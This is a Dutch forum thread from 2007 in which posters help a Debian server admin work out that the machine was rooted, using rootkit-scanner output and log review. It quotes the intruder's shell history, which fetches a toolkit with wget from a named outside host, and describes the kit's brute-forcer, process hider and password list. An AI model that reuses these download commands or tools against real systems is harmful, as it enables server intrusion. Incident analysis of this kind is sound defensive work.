Debian /root/passfile.txt

[Verwijderd]

Ik zag net een bestandje passfile.txt staan op mijn Debian machine.
In het bestand staan rijen met usernames en passwords, ik zou ook niet weten hoe dat bestandje daar zo komt. laatste aanpassing was op 20-08-2007, 2 dagen terug dus.
Ik draai fail2ban, maar het lijkt me dat het daar niet vandaan komt..
Misschien heeft iemand me via een bug proberen te hacken?
Ik hoop dat er wat mensen hier zijn die weten waar dit bestand vandaan komt, want het zit me helemaal niet lekker. Het gaat namelijk om een webserver waar toch aardig wat sites op draaien.

[Verwijderd]

Ik zou er maar vanuitgaan dat je "geroot" bent, zo'n bestand komt daar niet zomaar terecht.
Wat gebeurt er als je rkhunter draait? (zit in de debian repo's)

[ Voor 3% gewijzigd door Verwijderd op 22-08-2007 13:24 ]

[phobosdeimos]

Niemand heeft je proberen te hacken, je BENT gehackt.
Draai je debian stable?
Is je systeem up to date?
Draai je zooi zoals phpbb en andere php scripts die zo lek zijn als een zeef?
Heb je handmatig alle services die je niet nodig hebt uitgezet?
ssh root toegang weigeren, ssh in een chroot draaien, voldoende lange paswoorden gebruiken (liefst in combinatie met public key), security mailing lists in het oog houden, dagelijks rkhunter / chkrootkit draaien, ...

[ Voor 100% gewijzigd door phobosdeimos op 22-08-2007 13:28 ]

[Sprite_tm]

Of probeer chkrootkit es. Verder wil je waarschijnlijk de .bash_history van je root- en andere users even doorkijken. Sluit iig Internet van die bak af om het niet erger te maken dan het is, en als je echt gehacked bent (eigenlijk: als je geen bewijs kan vinden dat je niet gehacked bent): reinstall.

[Verwijderd]

apart, ik draai wel zo vaak mogelijk updates.
Er zijn ook geen vreemde accountjes op de machine aanwezig en ik heb gelijk alle systeem wachtwoorden aangepast.

bij scanning for hiddenfiles is wel een warning gekomen.

* Filesystem checks
Checking /dev for suspicious files... [ OK ]
Scanning for hidden files... [ Warning! ]
---------------
/etc/.pwd.lock /dev/.static
/dev/.udev
/dev/.initramfs
/dev/.initramfs-tools
---------------
Please inspect: /dev/.static (directory) /dev/.udev (directory) /dev/.initramfs (directory)


PHP Warning: Module 'json' already loaded in Unknown on line 0
- PHP 5.2.0 [ Unknown ]
- Procmail MTA 3.22 [ OK ]
- ProFTPd 1.3.0 [ Unknown ]
- OpenSSH 4.3p2 [ Unknown ]

[Verwijderd]

Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not found
Checking `grep'... not infected
Checking `hdparm'... not found
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not infected
Checking `inetdconf'... not infected
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not infected
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/lib/init/rw/.ramfs

Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for OBSD rk v1... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... lo: not promisc and no packet sniffer sockets
eth0: not promisc and no packet sniffer sockets
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted

[phobosdeimos]

Dat is oké, maar dat rkhunter geen rootkit detecteert wil niet noodzakelijk zeggen dat er geen aanwezig is, en zelfs al is er daadwerkelijk geen rootkit aanwezig dan wil dat ook niet zeggen dat je niet gehackt bent.
Feit is dat er een bestand is aangemaakt in je /root directory, met daarin een heleboel paswoorden.
Dus tenzij jij die file er zelf geplaatst hebt, wil dat zeggen dat er iemand root toegang heeft weten te krijgen op je server.
Dus: log files nakijken (auth, syslog, messages, daemon, bash history, ...) en voorlopig de internet kabel uitpluggen.

[ Voor 11% gewijzigd door phobosdeimos op 22-08-2007 13:39 ]

[DataGhost]

Eh, daar heb je volgens mij geen 2 posts voor nodig, al helemaal niet als er niks nuttigs tussen staat. Draai eerst eens rkhunter --update, je gebruikt waarschijnlijk oude definities. Ik krijg op een andere machine namelijk

- OpenSSH 4.3p2 [ OK ]

en jouwe kent die versie nog niet. Verder zit er een configfout in je php.ini, waardoor die niet gecontroleerd kan worden.

Gebruik verder, zoals gezegd, ook even chkrootkit, deze kijkt bijvoorbeeld ook naar verborgen entries in /proc.

Kijk ook of je zelf nog rare processen ziet draaien, googlen naar 'passfile.txt' geeft me wel een aantal resultaten maar het is een vrij algemene naam. In wat voor formaat is die passfile eigenlijk, en komen de usernames je bekend voor?

[ Voor 28% gewijzigd door DataGhost op 22-08-2007 13:42 ]

[Verwijderd]

internet eraf is niet mogelijk, dan zijn de sites offline.
Ik heb sshd server ervanaf geknikkerd.


de commandos die zijn uitgevoerd zijn :

./screen
chmod +x screen
wget ssl.us/java/screen
nano pass.txt
cd zeus
rm -rf zeus.jpg
tar zxvf zeus.jpg_
wget ssl.us/java/zeus.jpg_

[ Voor 48% gewijzigd door Verwijderd op 22-08-2007 13:55 ]

[Puch-Maxi]

vette opendir @ /java/ met allemaal shit erop rootkits/phising/passwd scanners

[phobosdeimos]

Tja dus je bent gehackt. Als jij internet niet wil afzetten, blijf je gewoon kwetsbaar.
Mijn intuitie zegt me dat je overbodige services hebt draaien?
Of phpbb of andere scripts die lek zijn?

[Sprite_tm]

ssl.us/java is een url waar een aantal gecompileerde tooltjes op staan... waaronder sniffers, geintjes als bindtty, ... Ik zal zo zeus.jpg ff bekijken, maar je lijkt echt wel gehacked te zijn.

Edit: Ja dus. Process hiders, attack tools, you name it. Die bak is 0wned, en zwaar. Gooi die bak down (ja helemaal, imo is dit belangrijker dan websites), backup je bestanden en reinstall. Iedere andere oplossing laat een kans over dat de hacker nog ergens een backdoor open heeft staan en dat je reinstall zo weer gehacked is.

[ Voor 48% gewijzigd door Sprite_tm op 22-08-2007 14:11 ]

[Sendy]

De commando's zijn waaarschijnlijk in ongekeerde volgorde uitgevoerd. Dat lijkt mij logischer. Dus misschien kan je ze even omkeren in je post? Verder zie ik het commando "nano pass.txt", maar dit is niet de "passfile.txt" uit de startpost? Heb je het overgetikt (foutief), of is er ook ergens een pass.txt?

Je kan die programma's zelf downloaden want http://ssl.us is gewoon in de lucht. In de /java directory staat een hoop rommel.

Nu ja; ik vind het erg verdacht. Misschien moet je je sites toch maar uit de lucht halen.

[phobosdeimos]

Sendy schreef op woensdag 22 augustus 2007 @ 14:07:
Nu ja; ik vind het erg verdacht. Misschien moet je je sites toch maar uit de lucht halen.

Het is niet simpelweg verdacht, hij is gewoon gehackt, iemand heeft root toegang weten te krijgen op zijn server.
Die persoon is nu in staat om gewoon zijn harde schijf te wissen, vertrouwelijke data uit te lekken, of erger.
Maar ja, downtime vermijden is belangrijker hé ;-)
Krijg je straks nog spijt van als je server op afstand wordt uitgeschakeld, en je een gewist systeem cadeau krijgt van meneer de boze hacker.
Gelukkig gaat het hier duidelijk om een amateur, die misbruik heeft gemaakt van één van de miljoenen exploits die kant en klaar beschikbaar zijn voor de talloze PHP fora en andere web applicaties.

[ Voor 31% gewijzigd door phobosdeimos op 22-08-2007 14:13 ]

[DataGhost]

Sprite_tm schreef op woensdag 22 augustus 2007 @ 14:07:
ssl.us/java is een url waar een aantal gecompileerde tooltjes op staan... waaronder sniffers, geintjes als bindtty, ... Ik zal zo zeus.jpg ff bekijken, maar je lijkt echt wel gehacked te zijn.

Edit: Ja dus. Process hiders, attack tools, you name it. Die bak is 0wned, en zwaar. Gooi die bak down (ja helemaal, imo is dit belangrijker dan websites), backup je bestanden en reinstall.

zeus/
zeus/x
zeus/h
zeus/s
zeus/scan
zeus/httpd
zeus/atac
zeus/pass.txt

Ik denk niet eens dat dit verder onderzoek behoeft

edit: maar ik doe het lekker toch even vlug gekeken dus.
• pass.txt is een lijst met usernames en wachtwoorden die geprobeerd kunnen worden, gok ik.
• atac ziet eruit als een compromised ssh server. Wellicht dat pass.txt alle geldige auths daarvoor bevat (en dat zijn er nogal wat)
• h...

• Hide - Process Faker, by Schizoprenic Xnuxer Research (c) 2002 Options: -s string Fake name process -d Run aplication as daemon/system (optional) -u uid[:gid] Change UID/GID, use another user (optional) -p filename Save PID to filename (optional) Example: %s -s "klogd -m 0" -d -p test.pid ./egg bot.conf :X

• httpd, ik denk dat deze geen uitleg behoeft is een 'SSH bruteforcer'
• s is 'strobe' ofzo, ken ik niet en ik kan niet direct zien waar het voor dient. Iets met services, lijkt wel.
• x is een portscanner
• scan is een scriptje dat zoekt naar <ip> met open poort 22, een poortscan erop doet en dan probeert in te breken.

Waarschijnlijk is deze set tools ook precies waarmee op jouw server is ingebroken, lijkt dus toch een ssh exploit ergens.

[ Voor 48% gewijzigd door DataGhost op 22-08-2007 14:22 ]

[Verwijderd]

ik had een paar site met phpbb2, die heb ik off gehaald.
Waaromder mijn eigen php2 site :-O
Maar hoe word zon hack dan uitgevoerd? het lijkt me dat het geen gebruiker van me is.
joomla draait ook op mijn server.

[Puch-Maxi]

Niet dat het veel helpt, maar ik zou eens een mailtje sturen naar abuse @ zijn provider.
http://www.dnsstuff.com/t...ois.ch?ip=ssl.us&email=on

[phobosdeimos]

Je snapt het nog steeds niet hé?
Als je data je lief is, haal je nu even heel de server off line.
Je gaat grondig op zoek wat er mis is gegaan, je fixt de fouten, je maakt een backup van de kostbare data, en je herinstalleert met een vers debian stable systeem, en installeert enkel het hoog nodige.
Dan breng je alles up to date, security patches en dergelijke, en dan timmer je alles dicht.
Sterke paswoorden, public keys voor ssh, etcetera.

[Sprite_tm]

Jim: Dat helpt niet; voor hetzelfde geld heb je nog tientallen backdoors hidden from sight draaien. Ik kan het niet beter verwoorden: Sluit die bak af van het Internet! Dus gewoon hardwarematig de netwerkkabel eruit. Doe je dat niet kan de hacker in kwestie je nog van alles flikken; voor hetzelfde geld doet 'ie zo een rm -rf / als hij merkt dat 'ie ontdekt is.

[ Voor 6% gewijzigd door Sprite_tm op 22-08-2007 14:17 ]

[Verwijderd]

ik ben al bezig om een schone install terug ge halen vanaf een backup.
kut hackers

[phobosdeimos]

Als jij de deur laat open staan hoef je niet verrast te zijn als er iemand komt binnen lopen.

[Sprite_tm]

You sure dat die install daadwerkelijk 100% schoon is? As I said: eigenlijk is de enige manier om 100% zeker te weten dat je bak na die tijd clean is, het OS compleet from scratch te installeren en daarna al je bestanden (dus geen executables enzo) terug te plaatsen.

[sh4d0wman]

Verwijderd schreef op woensdag 22 augustus 2007 @ 14:17:
ik ben al bezig om een schone install terug ge halen vanaf een backup.
kut hackers

Pas die dan wel aan, want men is binnen gekomen, dus zit er in die default installatie ergens een gat. Probleem is dat je nu nog niet weet hoe de hack is gebeurd. Trek dus een image van je gehachte back! Kun je daar later altijd nog eens naar (laten) kijken.

Waren al je paketten up to date? Wat voor services draaiden er naar buiten??

[Sendy]

phobosdeimos schreef op woensdag 22 augustus 2007 @ 14:10:
[...]
Het is niet simpelweg verdacht, hij is gewoon gehackt, iemand heeft root toegang weten te krijgen op zijn server.
Die persoon is nu in staat om gewoon zijn harde schijf te wissen, vertrouwelijke data uit te lekken, of erger.
Maar ja, downtime vermijden is belangrijker hé ;-)
Krijg je straks nog spijt van als je server op afstand wordt uitgeschakeld, en je een gewist systeem cadeau krijgt van meneer de boze hacker.
Gelukkig gaat het hier duidelijk om een amateur, die misbruik heeft gemaakt van één van de miljoenen exploits die kant en klaar beschikbaar zijn voor de talloze PHP fora en andere web applicaties.

Ik schreef ook "erg" verdacht Als je dan toch om woordjes zeikt, doe het dan goed. Waarom jij zeker weet dat dit een amateur is snap ik dan weer niet.

Ik ben het wel eens met je andere advies. Plat die server en niets meer vertrouwen. Alle php scripts, instellingen (in een database, maar ook bijvoorbeeld in /etc), programma's, Apache configuratie, etc. zijn niet meer te vertrouwen.

[phobosdeimos]

Idd Sendy. De enige manier om zeker te zijn is alles from scratch herbeginnen.
Ook die backup kan je niet meer vertrouwen.
Van wat ik hier kan zien is het gewoon een script kiddie die standaard beschikbare tooltjes gebruikt.
Massa scanners / exploiters enzo.
Van dat type lopen er echt veel rond op de wereld hoor, die zie ik dagelijks voorbij komen.
Slim genoeg om de log bestanden te wissen (of überhaupt gewoon logging uit te schakelen in bash) was hij al niet...

[ Voor 58% gewijzigd door phobosdeimos op 22-08-2007 14:23 ]

[GX]

Leuke site, dat ssl.us.

In zeus.jpg (tar dus een tar.gz is), zit een bestand met veelgebruikte usernames+wachtwoorden (ik kan ze bijna 1 op 1 tegen m'n /var/log/messages leggen ):

code:

john:~/tmp/zeus$ wc -l pass.txt
32078 pass.txt

Verder zitten er wat idiote tooltjes in, fijn en bruikbaar gecompiled:

code:

john:~/tmp/zeus$ ls -l
total 3200
-rwxr-xr-x 1 john john 1373863 2005-04-08 08:30 atac*
-rwxr-xr-x 1 john john   15125 2006-02-20 10:02 h*
-rwx------ 1 john john 1384518 2005-06-05 22:24 httpd*
-rwxrwxr-x 1 john john  437483 2006-12-18 13:38 pass.txt*
-rwxr-xr-x 1 john john   22498 2001-12-16 20:56 s*
-rwx------ 1 john john     425 2006-09-11 17:46 scan*
-rwxr-xr-x 1 john john   16267 2005-09-19 18:03 x*

Decompilen doe ik een andere keer wel om uit te zoeken wat 't nou is.

Ik zou er maar van uit gaan dat je wat te doen hebt binnenkort, als in, opnieuw installeren.

edit:

Werken, lezen, werken, reageren != goed idee. ..

[ Voor 3% gewijzigd door GX op 22-08-2007 14:26 ]

[Verwijderd]

iig bedankt voor jullie support.
Ik ben al bezig om een nieuwe install te maken.
Maar het is apart want deze bak draait nu nog maar een week ofzo.
Mijn oude servertje had ik nooit problemen mee. (naar mijn weten)
Maar er is wel een site bij gekomen vorige week die erg veel bezocht wordt en die draait dus joomla.
Ik heb een sterk vermoeden dat het daar mee te maken heeft.

[Ybox]

Verwijderd schreef op woensdag 22 augustus 2007 @ 14:37:
iig bedankt voor jullie support.
Ik ben al bezig om een nieuwe install te maken.
Maar het is apart want deze bak draait nu nog maar een week ofzo.
Mijn oude servertje had ik nooit problemen mee. (naar mijn weten)
Maar er is wel een site bij gekomen vorige week die erg veel bezocht wordt en die draait dus joomla.
Ik heb een sterk vermoeden dat het daar mee te maken heeft.

Welke joomla versie was dat ? en draaide je apache in een jail (chroot omgeving ? )

[sh4d0wman]

Joomla zou kunnen, dat heeft nog wel eens een gaatje Laatste tijd is het weer wat beter geloof ik, zal nog eens speuren of er public nog iets is opgedoken voor Joomla.

@ hieronder: recent alleen deze op meelworm, verder idd alleen components. Ach een beta zal er toch niet gebruikt zijn bij TS denk ik.

title: Remote command execution in Joomla! CMS
program: Joomla!
vulnerable version: 1.5 beta 2, Earlier 1.5 versions may be vulnerable too!
Vulnerability overview:
-----------------------

The search component of Joomla! allows an attacker to execute arbitrary
PHP commands. It is e.g. possible to execute OS commands via system()
calls. PHP is set to the settings recommended by the Joomla! installer!


An attacker does not need to be authenticated to perform this attack!

[ Voor 72% gewijzigd door sh4d0wman op 22-08-2007 14:55 ]

[Nakebod]

Ben redelijk thuis in Joomla, en er is mij geen exploit bekend die een beetje up2date Joomla kan misbruiken.
Dus het was of een hele oude Joomla install, of een lek 3th party component.

Veel plezier iig de aankomende uren :x
1 voordeel, het is nu overdag, je kan slechtere tijden treffen...

[Kalentum]

Ik ben benieuwd hoe een proces in vredensnaam via de webserver in /root kan schrijven. Bij Debian is het standaard dat dat niet kan. /root is niet world writetable, apache draait als www-data. Je zult toch op enig moment root rechten moeten verkrijgen.

Ik zou het dan toch eerder in de combinatie ssh + Permitrootlogin = yes + een te simpel wachtwoord zoeken.

[deadinspace]

rutgerw schreef op woensdag 22 augustus 2007 @ 15:22:
Ik ben benieuwd hoe een proces in vredensnaam via de webserver in /root kan schrijven.

Inderdaad.

Ik zou het dan toch eerder in de combinatie ssh + Permitrootlogin = yes + een te simpel wachtwoord zoeken.

Dat is een mogelijkheid ja. Wat was het root-wachtwoord op die bak? (Dat wachtwoord mag je toch niet meer gebruiken, de inbreker heeft zeker de kans gehad je wachtwoord te zien. Als je datzelfde wachtwoord nog op andere machines gebruikt raad ik je aan die als de bliksem te veranderen, en de desbetreffende machines ook te controleren op inbraak)

Een andere mogelijkheid is dat ze binnengekomen zijn via een onveilig PHP script, al dan niet van een pakket als Joomla, en vervolgens root gekregen hebben door een local root exploit. Dit is volgensmij een van de meestgebruikte vectors.

Je zei dat je regelmatig updates draaide. Wat was de inhoud van je /etc/apt/sources.list, en hoe draaide je updates?

[phobosdeimos]

Eenmaal een hacker toegang heeft tot het systeem (ook al is dat met weinig rechten) dan is het niet erg moeilijk meer om root toegang te verkrijgen.
Lokale (kernel) exploits zijn nog makkelijker te vinden dan remote exploits, of simpelweg brute forcen...

[deadinspace]

phobosdeimos schreef op woensdag 22 augustus 2007 @ 15:41:
Eenmaal een hacker toegang heeft tot het systeem (ook al is dat met weinig rechten) dan is het niet erg moeilijk meer om root toegang te verkrijgen.

Dat is niet waar, of hoort iig niet waar te zijn.

Lokale (kernel) exploits zijn nog makkelijker te vinden dan remote exploits

En local root exploits worden gefixt als ze gevonden worden, en daar zijn security updates voor (vandaar ook mijn vraag naar meer details over de updates).

of simpelweg brute forcen...

Brute forcen is niet praktisch met een fatsoenlijk wachtwoord.

Als het wachtwoord bestaat uit 8 willekeurige tekens uit de set A-Za-z0-9, en je kan een miljoen keer per seconde proberen (dat is overdreven optimistisch), dan ben je bijna 7 jaar bezig om alle mogelijkheden te proberen. Gemiddeld dus succes na 3.5 jaar.

Met niet-willekeurige wachtwoorden en een dictionary attack wordt het wat waarschijnlijker, maarja, zie "fatsoenlijk wachtwoord"

[phobosdeimos]

Dan verwijs ik je naar één van de vele surveys waar nogmaals in bewezen wordt dat 90% van alle gebruikers paswoorden kiest van pakweg 5 LETTERS (zelfs geen cijfers of symbolen) ;-)

[DataGhost]

phobosdeimos schreef op woensdag 22 augustus 2007 @ 16:48:
Dan verwijs ik je naar één van de vele surveys waar nogmaals in bewezen wordt dat 90% van alle gebruikers paswoorden kiest van pakweg 5 LETTERS (zelfs geen cijfers of symbolen) ;-)

Met niet-willekeurige wachtwoorden en een dictionary attack wordt het wat waarschijnlijker, maarja, zie "fatsoenlijk wachtwoord"

90% van de gebruikers verdient het dan niet een server te beheren. Mijn wachtwoord is 16 alfanumerieken lang, trouwens.

[phobosdeimos]

Mijn wachtwoord is ongeveer even lang, maar als je wil inloggen heb je ook nog mijn 2048 bit RSA SSH sleutel nodig die op mijn USB key staat, die rond mijn hals hangt
Come and get some

[GX]

phobosdeimos schreef op woensdag 22 augustus 2007 @ 17:00:
Mijn wachtwoord is ongeveer even lang, maar als je wil inloggen heb je ook nog mijn 2048 bit RSA SSH sleutel nodig die op mijn USB key staat, die rond mijn hals hangt
Come and get some

Totdat je stick ineens weigert..

Ik heb zelf een IP-restrictie op ssh zitten (ja, dat heeft consequenties) en public key; en er dwarrelt een account rond waar je mee binnen kan komen en vanuit door kan su -'en naar één van de beheerdersaccounts. Maar om te zeggen dat we extreem veilig zijn, volgens mij niet.

[Verwijderd]

deadinspace schreef op woensdag 22 augustus 2007 @ 15:40:
[...]

Inderdaad.

[...]

Dat is een mogelijkheid ja. Wat was het root-wachtwoord op die bak? (Dat wachtwoord mag je toch niet meer gebruiken, de inbreker heeft zeker de kans gehad je wachtwoord te zien. Als je datzelfde wachtwoord nog op andere machines gebruikt raad ik je aan die als de bliksem te veranderen, en de desbetreffende machines ook te controleren op inbraak)

Een andere mogelijkheid is dat ze binnengekomen zijn via een onveilig PHP script, al dan niet van een pakket als Joomla, en vervolgens root gekregen hebben door een local root exploit. Dit is volgensmij een van de meestgebruikte vectors.

Je zei dat je regelmatig updates draaide. Wat was de inhoud van je /etc/apt/sources.list, en hoe draaide je updates?

Het MOET gewoon via een php script gebeurd zijn, want ik draai fail2ban die naar 4 inlog pogingen het ip perm bant, ssh kan niet via root ingelogd worden.
Ik baal hier van want ik weet de oorzaak nog niet precies
Ik zal en moet erachter komen waar en hoe het binnen is gekomen.
Wachtwoorden zal ik ook zeker niet weer gebruiken

[Petok]

Verwijderd schreef op woensdag 22 augustus 2007 @ 17:13:
[...]
Wachtwoorden zal ik ook zeker niet weer gebruiken

Is wel aan te raden

Ik heb zelf een tijd Debian-stable volgens mij met zo'n hardened kernel gedraaid, die scheen een stuk veiliger te zijn.

[ Voor 22% gewijzigd door Petok op 22-08-2007 17:35 ]

[Verwijderd]

Verwijderd schreef op woensdag 22 augustus 2007 @ 17:13:
Het MOET gewoon via een php script gebeurd zijn (...)

Draait jouw webserver dan als root? Local root exploits worden als de wiederweerga gepatched, zeker voor Debian, dus als je netjes je updates draait is dat vrijwel uitgesloten.

Webservers draaien met zo weinig rechten dat ze by default weinig schade kunnen aanrichten. Het zou wat zijn, als een klant op een shared webhost een complete machine kon laten rooten! Dat is precies de reden dat Apache onder Debian als www-data draait.

[Rainmaker]

offtopic:
Welke fatsoenlijke hacker gebruikt nu "nano" Ik gok op een scriptkiddie

[Verwijderd]

Rainmaker schreef op vrijdag 24 augustus 2007 @ 00:53:

offtopic:
Welke fatsoenlijke hacker gebruikt nu "nano" Ik gok op een scriptkiddie

Inderdaad, iedereen weet dat echte hackers pico gebruiken

[Sendy]

Sendy schreef op woensdag 22 augustus 2007 @ 14:19:
[...]
Waarom jij zeker weet dat dit een amateur is snap ik dan weer niet.
[...]

Rainmaker schreef op vrijdag 24 augustus 2007 @ 00:53:

offtopic:
Welke fatsoenlijke hacker gebruikt nu "nano" Ik gok op een scriptkiddie

Goed opgemerkt Rainmaker. Goed opgemerkt phobosdeimos

offtopic:
Gelukkig heb ik nano niet geinstalleerd staan. joe is beter

[ Voor 8% gewijzigd door Sendy op 24-08-2007 01:06 ]

[jealma]

Ik heb ook een debian etch 4.0 server draaien, en nu ik hier zo lees dat die server gehacked is, vraag ik me af of mijn beveiliging wel goed zit. Ik kan alleen via mijn locale netwerk als root en als "gewone" gebruikers inloggen. Via alle andere addressen kan alleen via 1 gewoon gebruikersaccount worden ingelogged met een goed wachtwoord, waarna ik kan su'en naar root, ook met een goed wachtwoord.

Ter verduidelijking, een goed wachtwoord is bij mijn 20 charakters, hoofdletters, kleine letters, cijfers, vreemde symbolen.

[Verwijderd]

jealma schreef op vrijdag 24 augustus 2007 @ 01:11:
Ik heb ook een debian etch 4.0 server draaien, en nu ik hier zo lees dat die server gehacked is, vraag ik me af of mijn beveiliging wel goed zit.

Praktisch alle OS'en (en zeker Debian) zijn secure by default: zolang je netjes je security updates installeert, ben je veilig; apache draait als www-data, systeembestanden zijn alleen door root te wijzigen, dat soort zaken.

Pas als je gekke dingen uithaalt (/bin/bash setuid root draaien, bijvoorbeeld) moet je je afvragen of je nog wel veilig bezig bent.

[Sendy]

Maar dan nog, voordat een kraker doorheeft dat je /bin/bash setuid is moet hij lang zoeken. Het eenvoudigst is toch een standaard exploit uit de kast pakken of proberen via onveilige webscripts binnen te komen.

[phobosdeimos]

lol bash als suid(0) draaien, dat is een goeie
Hopelijk heeft iemand zoiets nog nooit werkelijk gedaan.
Volgens mijn ervaring worden debian security updates wel goed gevolgd, maar is het meestal een feit dat mensen VEEL te veel services draaien die ze eigenlijk niet nodig hebben, en talloze PHP scripts draaien die stuk voor stuk lek zijn en om de haverklap een update nodig hebben.
Ook de configuratie zelf laat meestal te wensen over, je kan ssh bijvoorbeeld nog een pak veiliger maken dan dat ie "by default" geconfigureerd is.
Weet je nog enkele maanden geleden dat de PHP security guru is opgestapt omdat het hopeloos is?

[Verwijderd]

phobosdeimos schreef op vrijdag 24 augustus 2007 @ 10:30:
lol bash als suid(0) draaien, dat is een goeie
Hopelijk heeft iemand zoiets nog nooit werkelijk gedaan.
[...]

Eh, ik kan me nog wel een (hele oude) mailserver herrinneren waar een suid bash shell te vinden was ergens onder /usr/share/man (alleen jammer dat die machine daarna ge-rm-ed werd door de kiddo die erop bezig was)

Had de TS overigens al zn apache logs gecontroleerd? Daar staat met wat zoekwerk en mazzel namelijk het lekke script in.

edit:

Overigens, strobe is een portscanner =)

[ Voor 8% gewijzigd door Verwijderd op 27-08-2007 16:06 ]